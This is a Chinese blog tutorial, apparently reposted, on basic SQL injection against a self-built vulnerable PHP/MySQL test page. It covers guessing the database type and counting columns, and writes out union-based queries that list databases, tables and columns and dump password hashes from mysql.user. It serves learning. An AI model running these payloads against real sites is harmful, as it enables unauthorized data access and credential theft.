学sql注入要先学mysql_简单的SQL注入学习

引贴:

http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/

首先需要编写一个php页面,讲php页面放入/opt/lampp/htdocs目录下:

9786aec50e5521095283aaed98366443.png

解释一下这个页面:

1.通过if语句判断变量是否初始化

2.if语句中通过mysql_connect()函数连接数据库

3.连接数据库成功后,选择一个数据库

4.选择完数据库后执行一条mysql查询

5.进行查询结果的处理

6.使用echo讲查询结果输出,便于查看

接下来配置数据库mululu_testdb,创建users表,并且造数据

323934b6605cd3e5ac577a710a03e09c.png

然后使用 sql 语句取到指定的记录 参数从浏览器传入

取到的记录显示在指定的位置 效果就酱紫:

9844a1291f61b1ee6b0cfa637b87f132.png

先来看看 and 注入和 or 注入:

3f1d3b4b7a44897165297c278b7fe387.png

ed40fa3649a96790f9df2920df11341a.png

再来看看加法注入和减法注入:

84235f29801f16632c2842f6d57027fc.png

db0a7ca203c371177e883d007f0721c9.png

以上就是最简单的 SQL 注入示例;

通过传入人为构造的参数 取得本来拿不到的数据;

如果要攻击数据库 最起码要知道被攻击的是什么数据库

首先从 Web 应用技术上就可以获得一些线索:

如果是使用 ASP 或者 .NET 开发的系统 数据库就可能是 SQLServer

如果是使用 PHP 开发的系统 数据库就可能是 MySQL 或者 PostgreSQL

而如果是使用 Java 开发的系统 它挂的数据库就可能是 Oracle 或者 MySQL

除了 Web 应用之外 底层操作系统也可以提供线索:

比如安装 IIS 作为服务器平台 则后台数据库就可能是 SQL Server

而允许 Apache 和 PHP 的 Linux 服务器 就可能使用 MySQL 或者 PostgreSQL

另外还可以借助错误信息来判断数据库类型

因为报错中有可能直接显示数据库的类型:

b3935046afbf94c89f068b266837e952.png

cbedd06a9505b22787470bf8412564d3.png

为了获知某个表里面存在多少个字段 可以注入 order by 子句:

d87cc5250e859fc622982764ca9da502.png

还可以通过 union 语句注入的方式 获得数据库的用户名和版本:

6fc3846a4216eb99d0475b0253697653.png

然后就可以通过注入语句 获得所有的数据库的名字:

select * from users where id = 1 union select null,schema_name,null from information_schema.schemata

501a3625bd904c7973cc483b69c68577.png

上图所示 服务器上所有的数据库就这样暴露出来 。。。

有了数据库的名字 还可以进一步获取表的名字:

select * from users where id = 1 union select null,table_name,null from information_schema.tables where table_schema=‘bugfree‘

a8e4dcc394d970c72857f3e4c35b4684.png

有了表名字 获取字段名字也很容易:

select * from users where id = 1 union select null,column_name,null from information_schema.columns where table_name=‘bf_bug_info‘ and table_schema = ‘bugfree‘

1a01167edb03f1cd16e0b5b2881170e7.png

至此 我们已经利用 SQL 注入的方式 获得了太多信息

然鹅 我们甚至还可以获得更多

在掌握数据库连接密码的情况下 我们来查询一下 mysql.user 表:

38e55a9aa6a2c504f8b3cc71aff64473.png

那么如果没有密码呢 通过注入的方式 也可以获得这些数据:

select * from users where id = 1 union select Host,user,password from mysql.user

0b5ed18f5a0e2fec9205f62b41fcdd1c.png

以上展示的就是最为基础的 SQL 注入的实现形式了

假设 SQL 语句是 INSERT into 表名 values (‘X‘,X,X);

那么就往数据库插入了非法数据了。。。。。

简单的SQL注入学习

标签:数据   操作系统   参数   ges   个数   postgre   static   配置   pos

本条技术文章来源于互联网,如果无意侵犯您的权益请点击此处反馈版权投诉

本文系统来源:http://www.cnblogs.com/mululu/p/6373472.html

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值